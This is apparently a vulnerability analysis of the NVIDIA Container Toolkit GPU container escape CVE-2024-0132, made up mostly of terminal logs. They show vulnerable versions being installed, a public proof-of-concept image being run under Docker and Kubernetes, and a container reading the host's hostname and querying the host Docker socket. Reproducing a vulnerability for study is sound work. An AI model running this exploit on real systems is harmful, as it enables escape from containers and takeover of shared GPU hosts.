NVIDIA Container Toolkit CVE-2024-0132 GPU容器逃逸漏洞分析

root@localhost:~# cat /etc/docker/daemon.json  |grep nvidia        "nvidia": {            "path": "nvidia-container-runtime"root@localhost:~# cat /etc/containerd/config.toml  |grep nvidia        "/usr/bin/nvidia-container-runtime"

root@localhost:~# nvidia-container-runtime --versionNVIDIA Container Runtime version 1.16.2commit: a5a5833c14a15fd9c86bcece85d5ec6621b65652spec: 1.2.0
runc version 1.1.12-0ubuntu2~22.04.1spec: 1.0.2-devgo: go1.21.1libseccomp: 2.5.3

$ ssh wanglei-gpu3root@wanglei-gpu3:~# nvidia-smi Tue Oct 15 11:13:33 2024       +-----------------------------------------------------------------------------+| NVIDIA-SMI 470.223.02   Driver Version: 470.223.02   CUDA Version: 11.4     ||-------------------------------+----------------------+----------------------+| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC || Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. ||                               |                      |               MIG M. ||===============================+======================+======================||   0  Tesla T4            On   | 00000000:00:0D.0 Off |                    0 || N/A   30C    P8     9W /  70W |      0MiB / 15109MiB |      0%      Default ||                               |                      |                  N/A |+-------------------------------+----------------------+----------------------+                                                                               +-----------------------------------------------------------------------------+| Processes:                                                                  ||  GPU   GI   CI        PID   Type   Process name                  GPU Memory ||        ID   ID                                                   Usage      ||=============================================================================||  No running processes found                                                 |+-----------------------------------------------------------------------------+

root@wanglei-gpu3:~# apt update && apt install docker.io -yroot@wanglei-gpu3:~# curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey | gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg     && curl -s -L https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list |     sed 's#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g' |     tee /etc/apt/sources.list.d/nvidia-container-toolkit.listroot@wanglei-gpu3:~# apt-get update &&     apt-get install -y libnvidia-container1=1.16.1-1     libnvidia-container-tools=1.16.1-1     nvidia-container-toolkit-base=1.16.1-1     nvidia-container-toolkit=1.16.1-1

root@wanglei-gpu3:~# nvidia-ctk runtime configure --runtime=dockerWARN[0000] Ignoring runtime-config-override flag for docker INFO[0000] Config file does not exist; using empty config INFO[0000] Wrote updated config to /etc/docker/daemon.json INFO[0000] It is recommended that docker daemon be restarted.root@wanglei-gpu3:~# systemctl restart docker

root@wanglei-gpu3:~# nvidia-container-cli --versioncli-version: 1.16.1lib-version: 1.16.1build date: 2024-07-23T14:57+00:00build revision: 4c2494f16573b585788a42e9c7bee76ecd48c73dbuild compiler: x86_64-linux-gnu-gcc-7 7.5.0build platform: x86_64build flags: -D_GNU_SOURCE -D_FORTIFY_SOURCE=2 -DNDEBUG -std=gnu11 -O2 -g -fdata-sections -ffunction-sections -fplan9-extensions -fstack-protector -fno-strict-aliasing -fvisibility=hidden -Wall -Wextra -Wcast-align -Wpointer-arith -Wmissing-prototypes -Wnonnull -Wwrite-strings -Wlogical-op -Wformat=2 -Wmissing-format-attribute -Winit-self -Wshadow -Wstrict-prototypes -Wunreachable-code -Wconversion -Wsign-conversion -Wno-unknown-warning-option -Wno-format-extra-args -Wno-gnu-alignof-expression -Wl,-zrelro -Wl,-znow -Wl,-zdefs -Wl,--gc-sectionsroot@wanglei-gpu3:~# root@wanglei-gpu3:~# nvidia-container-cli infoNVRM version:   470.223.02CUDA version:   11.4
Device Index:   0Device Minor:   0Model:          Tesla T4Brand:          NvidiaGPU UUID:       GPU-03ef96a1-75d6-9917-ed12-4db7f79bfa4bBus Location:   00000000:00:0d.0Architecture:   7.5root@wanglei-gpu3:~# root@wanglei-gpu3:~# docker infoClient: Version:    24.0.7 Context:    default Debug Mode: false
Server: Containers: 0  Running: 0  Paused: 0  Stopped: 0 Images: 0 Server Version: 24.0.7 Storage Driver: overlay2  Backing Filesystem: extfs  Supports d_type: true  Using metacopy: false  Native Overlay Diff: true  userxattr: false Logging Driver: json-file Cgroup Driver: systemd Cgroup Version: 2 Plugins:  Volume: local  Network: bridge host ipvlan macvlan null overlay  Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog Swarm: inactive Runtimes: io.containerd.runc.v2 nvidia runc Default Runtime: runc Init Binary: docker-init containerd version:  runc version:  init version:  Security Options:  apparmor  seccomp   Profile: builtin  cgroupns Kernel Version: 5.15.0-76-generic Operating System: Ubuntu 22.04.2 LTS OSType: linux Architecture: x86_64 CPUs: 8 Total Memory: 31.15GiB Name: wanglei-gpu3 ID: bc9d2464-60ee-458d-93a0-fab77847a4b3 Docker Root Dir: /var/lib/docker Debug Mode: false Experimental: false Insecure Registries:  127.0.0.0/8 Live Restore Enabled: false

root@wanglei-gpu3:~# git clone https://github.com/ssst0n3/poc-cve-2024-0132.gitroot@wanglei-gpu3:~# cd poc-cve-2024-0132root@wanglei-gpu3:~/poc-cve-2024-0132# docker build -t ssst0n3/poc-cve-2024-0132 ....root@wanglei-gpu3:~/poc-cve-2024-0132# docker run -ti --runtime=nvidia --gpus=all ssst0n3/poc-cve-2024-0132+ cat /host/etc/hostnamewanglei-gpu3+ curl --unix-socket /host-run/docker.sock http://localhost/containers/json[{"Id":"6dac93a4b9aaa6e2db5bed64f550d111e6e9604375e3210b46b59b095635290f","Names":["/nifty_booth"],"Image":"ssst0n3/poc-cve-2024-0132","ImageID":"sha256:53f3d5c92e144343851ec800aa7a0af201517262498519cc4dfd53688da9b112","Command":"/bin/sh -c /entrypoint.sh","Created":1728996664,"Ports":[],"Labels":{"org.opencontainers.image.ref.name":"ubuntu","org.opencontainers.image.version":"24.04"},"State":"running","Status":"Up Less than a second","HostConfig":{"NetworkMode":"default"},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"NetworkID":"72649d2ea91c5c657b26de4af617b491e8f09bf9c2e5e8a44695ff10e68191b6","EndpointID":"be81eb91bfafd69bb442f3ccf9790ff5da9ae9ef42ad643aa4a686c3040f404b","Gateway":"172.17.0.1","IPAddress":"172.17.0.2","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:11:00:02","DriverOpts":null}}},"Mounts":[]}]

root@wanglei-k8s-gpu-02862:~# lspci |grep NVIDIA00:0d.0 3D controller: NVIDIA Corporation TU104GL [Tesla T4] (rev a1)

$ scp wanglei-k8s-gpu-kubeconfig.yaml wanglei-k8s-gpu-02862:$ ssh wanglei-k8s-gpu-02862root@wanglei-k8s-gpu-02862:~# curl -fsSL -o get_helm.sh https://raw.githubusercontent.com/helm/helm/master/scripts/get-helm-3 && chmod 700 get_helm.sh && ./get_helm.shDownloading https://get.helm.sh/helm-v3.16.3-linux-amd64.tar.gzVerifying checksum... Done.Preparing to install helm into /usr/local/binhelm installed into /usr/local/bin/helmroot@wanglei-k8s-gpu-02862:~# helm repo add nvidia https://helm.ngc.nvidia.com/nvidia && helm repo updateWARNING: Kubernetes configuration file is group-readable. This is insecure. Location: /root/.kube/configWARNING: Kubernetes configuration file is world-readable. This is insecure. Location: /root/.kube/config"nvidia" has been added to your repositoriesWARNING: Kubernetes configuration file is group-readable. This is insecure. Location: /root/.kube/configWARNING: Kubernetes configuration file is world-readable. This is insecure. Location: /root/.kube/configHang tight while we grab the latest from your chart repositories......Successfully got an update from the "nvidia" chart repositoryUpdate Complete. ⎈Happy Helming!⎈root@wanglei-k8s-gpu-02862:~# helm install --wait --generate-name -n gpu-operator --create-namespace nvidia/gpu-operator --version=v24.6.1WARNING: Kubernetes configuration file is group-readable. This is insecure. Location: /root/.kube/configWARNING: Kubernetes configuration file is world-readable. This is insecure. Location: /root/.kube/configNAME: gpu-operator-1733143549LAST DEPLOYED: Mon Dec  2 20:45:52 2024NAMESPACE: gpu-operatorSTATUS: deployedREVISION: 1TEST SUITE: None

root@wanglei-k8s-gpu-02862:~# kubectl get pods -n gpu-operatorNAME                                                              READY   STATUS                  RESTARTS      AGEgpu-feature-discovery-nmz44                                       0/1     Init:0/1                0             4m42sgpu-operator-1733143549-node-feature-discovery-gc-c9474d8bfvxfv   1/1     Running                 0             6m3sgpu-operator-1733143549-node-feature-discovery-master-86985w2n8   1/1     Running                 0             6m3sgpu-operator-1733143549-node-feature-discovery-worker-5c7cp       1/1     Running                 0             6m3sgpu-operator-77fdfcd757-4gxq4                                     1/1     Running                 0             6m3snvidia-container-toolkit-daemonset-xnfjx                          1/1     Running                 0             4m42snvidia-dcgm-exporter-9d8bp                                        0/1     Init:0/1                0             4m42snvidia-device-plugin-daemonset-dz84j                              0/1     Init:0/1                0             4m42snvidia-driver-daemonset-w2xmw                                     1/1     Running                 0             5m33snvidia-operator-validator-kjc2x                                   0/1     Init:CrashLoopBackOff   3 (23s ago)   4m42sroot@wanglei-k8s-gpu-02862:~# kubectl delete pod -n gpu-operator nvidia-operator-validator-kjc2xroot@wanglei-k8s-gpu-02862:~# kubectl get pods -n gpu-operatorNAME                                                              READY   STATUS      RESTARTS   AGEgpu-feature-discovery-nmz44                                       1/1     Running     0          8m7sgpu-operator-1733143549-node-feature-discovery-gc-c9474d8bfvxfv   1/1     Running     0          9m28sgpu-operator-1733143549-node-feature-discovery-master-86985w2n8   1/1     Running     0          9m28sgpu-operator-1733143549-node-feature-discovery-worker-5c7cp       1/1     Running     0          9m28sgpu-operator-77fdfcd757-4gxq4                                     1/1     Running     0          9m28snvidia-container-toolkit-daemonset-xnfjx                          1/1     Running     0          8m7snvidia-cuda-validator-895qp                                       0/1     Completed   0          2m15snvidia-dcgm-exporter-9d8bp                                        1/1     Running     0          8m7snvidia-device-plugin-daemonset-2s7z2                              1/1     Running     0          22snvidia-driver-daemonset-w2xmw                                     1/1     Running     0          8m58snvidia-operator-validator-gd74c                                   1/1     Running     0          2m17s

root@wanglei-k8s-gpu-02862:~# kubectl exec -n gpu-operator nvidia-driver-daemonset-w2xmw nvidia-smikubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.Mon Dec  2 12:57:22 2024       +-----------------------------------------------------------------------------------------+| NVIDIA-SMI 550.90.07              Driver Version: 550.90.07      CUDA Version: 12.4     ||-----------------------------------------+------------------------+----------------------+| GPU  Name                 Persistence-M | Bus-Id          Disp.A | Volatile Uncorr. ECC || Fan  Temp   Perf          Pwr:Usage/Cap |           Memory-Usage | GPU-Util  Compute M. ||                                         |                        |               MIG M. ||=========================================+========================+======================||   0  Tesla T4                       On  |   00000000:00:0D.0 Off |                    0 || N/A   28C    P8              9W /   70W |       1MiB /  15360MiB |      0%      Default ||                                         |                        |                  N/A |+-----------------------------------------+------------------------+----------------------+                                                                                         +-----------------------------------------------------------------------------------------+| Processes:                                                                              ||  GPU   GI   CI        PID   Type   Process name                              GPU Memory ||        ID   ID                                                               Usage      ||=========================================================================================||  No running processes found                                                             |+-----------------------------------------------------------------------------------------+

root@wanglei-k8s-gpu-02862:~# cat poc-cve-2024-0132.yaml apiVersion: v1kind: Podmetadata:  name: poc-cve-2024-0132spec:  restartPolicy: OnFailure  containers:  - name: poc-cve-2024-0132    image: "docker.io/ssst0n3/poc-cve-2024-0132:latest"    imagePullPolicy: IfNotPresent    resources:      limits:        nvidia.com/gpu: 1root@wanglei-k8s-gpu-02862:~# kubectl apply -f poc-cve-2024-0132.yaml pod/poc-cve-2024-0132 createdroot@wanglei-k8s-gpu-02862:~# kubectl logs poc-cve-2024-0132+ cat /host/etc/hostnamewanglei-k8s-gpu-02862+ curl --unix-socket /host-run/docker.sock http://localhost/containers/json  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100 77281    0 77281    0     0  12.6M      0 --:--:-- --:--:-- --:--:-- 14.7M[{"Id":"5106c279c3a900712370fccaf6d0ee5e8cb40673ca5886a75a9265f7853e5f05","Names":["/k8s_poc-cve-2024-0132_poc-cve-2024-0132_default_09203b3a-10e4-490a-8f86-abdc1b36c8ae_0"],"Image":"sha256:5fa3c2349168a5c8b3927907399ba19e500d8d86e5c84315...

$ apt update && apt install docker.io -y$ curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey | gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg     && curl -s -L https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list |     sed 's#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g' |     tee /etc/apt/sources.list.d/nvidia-container-toolkit.list$ apt-get update &&     apt-get install -y libnvidia-container1=1.16.1-1     libnvidia-container-tools=1.16.1-1     nvidia-container-toolkit-base=1.16.1-1     nvidia-container-toolkit=1.16.1-1$ nvidia-ctk runtime configure --runtime=docker$ systemctl restart docker

$ nvidia-ctk cdi generate --output=/etc/cdi/nvidia.yaml

$ docker run --rm --runtime=nvidia --gpus all ubuntu nvidia-smi+-----------------------------------------------------------------------------+| NVIDIA-SMI 470.223.02   Driver Version: 470.223.02   CUDA Version: 11.4     ||-------------------------------+----------------------+----------------------+| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC || Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. ||                               |                      |               MIG M. ||===============================+======================+======================||   0  Tesla T4            On   | 00000000:00:0D.0 Off |                    0 || N/A   29C    P8     9W /  70W |      0MiB / 15109MiB |      0%      Default ||                               |                      |                  N/A |+-------------------------------+----------------------+----------------------+                                                                               +-----------------------------------------------------------------------------+| Processes:                                                                  ||  GPU   GI   CI        PID   Type   Process name                  GPU Memory ||        ID   ID                                                   Usage      ||=============================================================================||  No running processes found                                                 |+-----------------------------------------------------------------------------+

$ docker run --rm --runtime=nvidia --gpus all nvidia/cuda:12.6.2-cudnn-runtime-ubuntu24.04 cat /proc/self/mountinfo |grep compat677 652 0:48 /usr/local/cuda-12.6/compat/libcuda.so.560.35.03 /usr/lib/x86_64-linux-gnu/libcuda.so.560.35.03 ro,nosuid,nodev,relatime master:265 - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/7PESVCWGEYV5EAUFQQOU54JC5I:/var/lib/docker/overlay2/l/PIMQYFKPYMVGLM7JIYDNWWQNMV:/var/lib/docker/overlay2/l/BOOUOLOLY4GM525O7PGZYXHWAR:/var/lib/docker/overlay2/l/JFDVXPNFZHK6MO35W275FXWJK2:/var/lib/docker/overlay2/l/DHPPA554ZRQ3RMXBAC4TCQ2ONI:/var/lib/docker/overlay2/l/7VXIOP6JUX5AQWZDCES4OSMUE3:/var/lib/docker/overlay2/l/VXIMXECSGJPSZSTCV4L3F5SSVF:/var/lib/docker/overlay2/l/GNHB2U3KK74XBRHDNTTRBPLO5V:/var/lib/docker/overlay2/l/CPLKLXQBHMU2HSD2KH7QST3XPC:/var/lib/docker/overlay2/l/5I4CMPNMDVNB4OH6B3LTCLKUX5:/var/lib/docker/overlay2/l/MZVFHZWHWZ6WESPEACUAGYRIW2,upperdir=/var/lib/docker/overlay2/a2f1240f551528f47be90b6b6c7e923470009998687bb7d77ab112c19e325f6e/diff,workdir=/var/lib/docker/overlay2/a2f1240f551528f47be90b6b6c7e923470009998687bb7d77ab112c19e325f6e/work678 652 0:48 /usr/local/cuda-12.6/compat/libcudadebugger.so.560.35.03 /usr/lib/x86_64-linux-gnu/libcudadebugger.so.560.35.03 ro,nosuid,nodev,relatime master:265 - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/7PESVCWGEYV5EAUFQQOU54JC5I:/var/lib/docker/overlay2/l/PIMQYFKPYMVGLM7JIYDNWWQNMV:/var/lib/docker/overlay2/l/BOOUOLOLY4GM525O7PGZYXHWAR:/var/lib/docker/overlay2/l/JFDVXPNFZHK6MO35W275FXWJK2:/var/lib/docker/overlay2/l/DHPPA554ZRQ3RMXBAC4TCQ2ONI:/var/lib/docker/overlay2/l/7VXIOP6JUX5AQWZDCES4OSMUE3:/var/lib/docker/overlay2/l/VXIMXECSGJPSZSTCV4L3F5SSVF:/var/lib/docker/overlay2/l/GNHB2U3KK74XBRHDNTTRBPLO5V:/var/lib/docker/overlay2/l/CPLKLXQBHMU2HSD2KH7QST3XPC:/var/lib/docker/overlay2/l/5I4CMPNMDVNB4OH6B3LTCLKUX5:/var/lib/docker/overlay2/l/MZVFHZWHWZ6WESPEACUAGYRIW2,upperdir=/var/lib/docker/overlay2/a2f1240f551528f47be90b6b6c7e923470009998687bb7d77ab112c19e325f6e/diff,workdir=/var/lib/docker/overlay2/a2f1240f551528f47be90b6b6c7e923470009998687bb7d77ab112c19e325f6e/work679 652 0:48 /usr/local/cuda-12.6/compat/libnvidia-nvvm.so.560.35.03 /usr/lib/x86_64-linux-gnu/libnvidia-nvvm.so.560.35.03 ro,nosuid,nodev,relatime master:265 - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/7PESVCWGEYV5EAUFQQOU54JC5I:/var/lib/docker/overlay2/l/PIMQYFKPYMVGLM7JIYDNWWQNMV:/var/lib/docker/overlay2/l/BOOUOLOLY4GM525O7PGZYXHWAR:/var/lib/docker/overlay2/l/JFDVXPNFZHK6MO35W275FXWJK2:/var/lib/docker/overlay2/l/DHPPA554ZRQ3RMXBAC4TCQ2ONI:/var/lib/docker/overlay2/l/7VXIOP6JUX5AQWZDCES4OSMUE3:/var/lib/docker/overlay2/l/VXIMXECSGJPSZSTCV4L3F5SSVF:/var/lib/docker/overlay2/l/GNHB2U3KK74XBRHDNTTRBPLO5V:/var/lib/docker/overlay2/l/CPLKLXQBHMU2HSD2KH7QST3XPC:/var/lib/docker/overlay2/l/5I4CMPNMDVNB4OH6B3LTCLKUX5:/var/lib/docker/overlay2/l/MZVFHZWHWZ6WESPEACUAGYRIW2,upperdir=/var/lib/docker/overlay2/a2f1240f551528f47be90b6b6c7e923470009998687bb7d77ab112c19e325f6e/diff,workdir=/var/lib/docker/overlay2/a2f1240f551528f47be90b6b6c7e923470009998687bb7d77ab112c19e325f6e/work680 652 0:48 /usr/local/cuda-12.6/compat/libnvidia-pkcs11-openssl3.so.560.35.03 /usr/lib/x86_64-linux-gnu/libnvidia-pkcs11-openssl3.so.560.35.03 ro,nosuid,nodev,relatime master:265 - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/7PESVCWGEYV5EAUFQQOU54JC5I:/var/lib/docker/overlay2/l/PIMQYFKPYMVGLM7JIYDNWWQNMV:/var/lib/docker/overlay2/l/BOOUOLOLY4GM525O7PGZYXHWAR:/var/lib/docker/overlay2/l/JFDVXPNFZHK6MO35W275FXWJK2:/var/lib/docker/overlay2/l/DHPPA554ZRQ3RMXBAC4TCQ2ONI:/var/lib/docker/overlay2/l/7VXIOP6JUX5AQWZDCES4OSMUE3:/var/lib/docker/overlay2/l/VXIMXECSGJPSZSTCV4L3F5SSVF:/var/lib/docker/overlay2/l/GNHB2U3KK74XBRHDNTTRBPLO5V:/var/lib/docker/overlay2/l/CPLKLXQBHMU2HSD2KH7QST3XPC:/var/lib/docker/overlay2/l/5I4CMPNMDVNB4OH6B3LTCLKUX5:/var/lib/docker/overlay2/l/MZVFHZWHWZ6WESPEACUAGYRIW2,upperdir=/var/lib/docker/overlay2/a2f1240f551528f47be90b6b6c7e923470009998687bb7d77ab112c19e325f6e/diff,workdir=/var/lib/docker/overlay2/a2f1240f551528f47be90b6b6c7e923470009998687bb7d77ab112c19e325f6e/work681 652 0:48 /usr/local/cuda-12.6/compat/libnvidia-pkcs11.so.560.35.03 /usr/lib/x86_64-linux-gnu/libnvidia-pkcs11.so.560.35.03 ro,nosuid,nodev,relatime master:265 - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/7PESVCWGEYV5EAUFQQOU54JC5I:/var/lib/docker/overlay2/l/PIMQYFKPYMVGLM7JIYDNWWQNMV:/var/lib/docker/overlay2/l/BOOUOLOLY4GM525O7PGZYXHWAR:/var/lib/docker/overlay2/l/JFDVXPNFZHK6MO35W275FXWJK2:/var/lib/docker/overlay2/l/DHPPA554ZRQ3RMXBAC4TCQ2ONI:/var/lib/docker/overlay2/l/7VXIOP6JUX5AQWZDCES4OSMUE3:/var/lib/docker/overlay2/l/VXIMXECSGJPSZSTCV4L3F5SSVF:/var/lib/docker/overlay2/l/GNHB2U3KK74XBRHDNTTRBPLO5V:/var/lib/docker/overlay2/l/CPLKLXQBHMU2HSD2KH7QST3XPC:/var/lib/docker/overlay2/l/5I4CMPNMDVNB4OH6B3LTCLKUX5:/var/lib/docker/overlay2/l/MZVFHZWHWZ6WESPEACUAGYRIW2,upperdir=/var/lib/docker/overlay2/a2f1240f551528f47be90b6b6c7e923470009998687bb7d77ab112c19e325f6e/diff,workdir=/var/lib/docker/overlay2/a2f1240f551528f47be90b6b6c7e923470009998687bb7d77ab112c19e325f6e/work682 652 0:48 /usr/local/cuda-12.6/compat/libnvidia-ptxjitcompiler.so.560.35.03 /usr/lib/x86_64-linux-gnu/libnvidia-ptxjitcompiler.so.560.35.03 ro,nosuid,nodev,relatime master:265 - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/7PESVCWGEYV5EAUFQQOU54JC5I:/var/lib/docker/overlay2/l/PIMQYFKPYMVGLM7JIYDNWWQNMV:/var/lib/docker/overlay2/l/BOOUOLOLY4GM525O7PGZYXHWAR:/var/lib/docker/overlay2/l/JFDVXPNFZHK6MO35W275FXWJK2:/var/lib/docker/overlay2/l/DHPPA554ZRQ3RMXBAC4TCQ2ONI:/var/lib/docker/overlay2/l/7VXIOP6JUX5AQWZDCES4OSMUE3:/var/lib/docker/overlay2/l/VXIMXECSGJPSZSTCV4L3F5SSVF:/var/lib/docker/overlay2/l/GNHB2U3KK74XBRHDNTTRBPLO5V:/var/lib/docker/overlay2/l/CPLKLXQBHMU2HSD2KH7QST3XPC:/var/lib/docker/overlay2/l/5I4CMPNMDVNB4OH6B3LTCLKUX5:/var/lib/docker/overlay2/l/MZVFHZWHWZ6WESPEACUAGYRIW2,upperdir=/var/lib/docker/overlay2/a2f1240f551528f47be90b6b6c7e923470009998687bb7d77ab112c19e325f6e/diff,workdir=/var/lib/docker/overlay2/a2f1240f551528f47be90b6b6c7e923470009998687bb7d77ab112c19e325f6e/work$ docker run --rm --runtime=nvidia --gpus all nvidia/cuda:12.6.2-cudnn-runtime-ubuntu24.04 nvidia-smi ============ CUDA ============ CUDA Version 12.6.2 Container image Copyright (c) 2016-2023, NVIDIA CORPORATION & AFFILIATES. All rights reserved. This container image and its contents are governed by the NVIDIA Deep Learning Container License.By pulling and using the container, you accept the terms and conditions of this license:https://developer.nvidia.com/ngc/nvidia-deep-learning-container-license A copy of this license is made available in this container at /NGC-DL-CONTAINER-LICENSE for your convenience. Tue Nov 26 12:40:00 2024       +-----------------------------------------------------------------------------+| NVIDIA-SMI 470.223.02   Driver Version: 470.223.02   CUDA Version: 12.6     ||-------------------------------+----------------------+----------------------+| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC || Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. ||                               |                      |               MIG M. ||===============================+======================+======================||   0  Tesla T4            On   | 00000000:00:0D.0 Off |                    0 || N/A   29C    P8     9W /  70W |      0MiB / 15109MiB |      0%      Default ||                               |                      |                  N/A |+-------------------------------+----------------------+----------------------+                                                                               +-----------------------------------------------------------------------------+| Processes:                                                                  ||  GPU   GI   CI        PID   Type   Process name                  GPU Memory ||        ID   ID                                                   Usage      ||=============================================================================||  No running processes found                                                 |+-----------------------------------------------------------------------------+

$ nvidia-ctk cdi generate --output=/etc/cdi/nvidia.yaml$ docker run --rm -ti --runtime=nvidia     -e NVIDIA_VISIBLE_DEVICES=nvidia.com/gpu=all ubuntu cat /proc/self/mountinfo |grep overlay643 534 0:48 / / rw,relatime master:265 - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/VWXTSEW55YTGJ23XYVXBZE6TIH:/var/lib/docker/overlay2/l/F3QZDOFKONMKPK4LRXRABM3LRQ,upperdir=/var/lib/docker/overlay2/8f5ca0eeb583611324034844687cbf1706d88b47273ba88624c02858b534fd5f/diff,workdir=/var/lib/docker/overlay2/8f5ca0eeb583611324034844687cbf1706d88b47273ba88624c02858b534fd5f/work

$ kubectl --kubeconfig wanglei-k8s-gpu-kubeconfig.yaml describe pod -n gpu-operator nvidia-container-toolkit-daemonset-fzzntName:                 nvidia-container-toolkit-daemonset-fzzntNamespace:            gpu-operatorPriority:             2000001000Priority Class Name:  system-node-criticalNode:                 10.0.2.70/10.0.2.70Start Time:           Thu, 28 Nov 2024 21:00:54 +0800Labels:               app=nvidia-container-toolkit-daemonset                      app.kubernetes.io/managed-by=gpu-operator                      controller-revision-hash=5798fb59f4                      helm.sh/chart=gpu-operator-v24.9.0                      pod-template-generation=1Annotations:          <none>Status:               RunningIP:                   172.16.0.146IPs:  IP:           172.16.0.146Controlled By:  DaemonSet/nvidia-container-toolkit-daemonsetInit Containers:  driver-validation:    Container ID:  containerd://0b6689ed6d9dc8c9103934a900a865faf4fc2604356097b3b151e9b5ffb28310    Image:         nvcr.io/nvidia/cloud-native/gpu-operator-validator:v24.9.0    Image ID:      nvcr.io/nvidia/cloud-native/gpu-operator-validator@sha256:70a0bd29259820d6257b04b0cdb6a175f9783d4dd19ccc4ec6599d407c359ba5    Port:          <none>    Host Port:     <none>    Command:      sh      -c    Args:      nvidia-validator    State:          Terminated      Reason:       Completed      Exit Code:    0      Started:      Thu, 28 Nov 2024 21:00:55 +0800      Finished:     Thu, 28 Nov 2024 21:04:41 +0800    Ready:          True    Restart Count:  0    Environment:      WITH_WAIT:           true      COMPONENT:           driver      OPERATOR_NAMESPACE:  gpu-operator (v1:metadata.namespace)    Mounts:      /host from host-root (ro)      /host-dev-char from host-dev-char (rw)      /run/nvidia/driver from driver-install-dir (rw)      /run/nvidia/validations from run-nvidia-validations (rw)      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-5h9pr (ro)Containers:  nvidia-container-toolkit-ctr:    Container ID:  containerd://c236b579e2cd400d98d7a34fb9e4b9037322ad620445da3f1fc91518142ba615    Image:         nvcr.io/nvidia/k8s/container-toolkit:v1.17.0-ubuntu20.04    Image ID:      nvcr.io/nvidia/k8s/container-toolkit@sha256:c458c33da393dda19e53dae4cb82f02203714ce0f5358583bf329f3693ec84cb    Port:          <none>    Host Port:     <none>    Command:      /bin/bash      -c    Args:      /bin/entrypoint.sh    State:          Running      Started:      Thu, 28 Nov 2024 21:04:54 +0800    Ready:          True    Restart Count:  0    Environment:      ...    Mounts:      /bin/entrypoint.sh from nvidia-container-toolkit-entrypoint (ro,path="entrypoint.sh")      /driver-root from driver-install-dir (rw)      /host from host-root (ro)      /run/nvidia/toolkit from toolkit-root (rw)      /run/nvidia/validations from run-nvidia-validations (rw)      /runtime/config-dir/ from containerd-config (rw)      /runtime/sock-dir/ from containerd-socket (rw)      /usr/local/nvidia from toolkit-install-dir (rw)      /usr/share/containers/oci/hooks.d from crio-hooks (rw)      /var/run/cdi from cdi-root (rw)      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-5h9pr (ro)Conditions:  ...Volumes:  nvidia-container-toolkit-entrypoint:    Type:      ConfigMap (a volume populated by a ConfigMap)    Name:      nvidia-container-toolkit-entrypoint    Optional:  false  toolkit-root:    Type:          HostPath (bare host directory volume)    Path:          /run/nvidia/toolkit    HostPathType:  DirectoryOrCreate  run-nvidia-validations:    Type:          HostPath (bare host directory volume)    Path:          /run/nvidia/validations    HostPathType:  DirectoryOrCreate  driver-install-dir:    Type:          HostPath (bare host directory volume)    Path:          /run/nvidia/driver    HostPathType:  DirectoryOrCreate  host-root:    Type:          HostPath (bare host directory volume)    Path:          /    HostPathType:    toolkit-install-dir:    Type:          HostPath (bare host directory volume)    Path:          /usr/local/nvidia    HostPathType:    crio-hooks:    Type:          HostPath (bare host directory volume)    Path:          /run/containers/oci/hooks.d    HostPathType:    host-dev-char:    Type:          HostPath (bare host directory volume)    Path:          /dev/char    HostPathType:    cdi-root:    Type:          HostPath (bare host directory volume)    Path:          /var/run/cdi    HostPathType:  DirectoryOrCreate  containerd-config:    Type:          HostPath (bare host directory volume)    Path:          /etc/containerd    HostPathType:  DirectoryOrCreate  containerd-socket:    Type:          HostPath (bare host directory volume)    Path:          /run/containerd    HostPathType:  ...

root@wanglei-k8s-gpu-02862:~# while true; do ps -ef |grep nvidia-container-cli|grep -v grep; doneroot       91175   91173  0 21:04 ?        00:00:00 /bin/sh /usr/local/nvidia/toolkit/nvidia-container-cli --root=/run/nvidia/driver --load-kmods configure --ldconfig=@/run/nvidia/driver/sbin/ldconfig.real --device=GPU-1401ffea-de99-b446-2a8c-15e0797f35bb --compat32 --compute --display --graphics --ngx --utility --video --pid=91165 /mnt/paas/runtime/overlay2/332208ab1f6248114caa9ed78edfcfe09cee0ecf6939e46c942b1e4394df65da/merged

func NewCreateCommand(dockerCli command.Cli) *cobra.Command {  ...  cmd := &cobra.Command{    Use:   "create [OPTIONS] IMAGE [COMMAND] [ARG...]",    Short: "Create a new container",    ...  }  ...  copts = addFlags(flags)  ...}

func addFlags(flags *pflag.FlagSet) *containerOptions {  copts := &containerOptions{    ...    gpus                opts.GpuOpts    ...  }  ...  flags.Var(&copts.gpus, "gpus", "GPU devices to add to the container ('all' to pass all GPUs)")  ...}

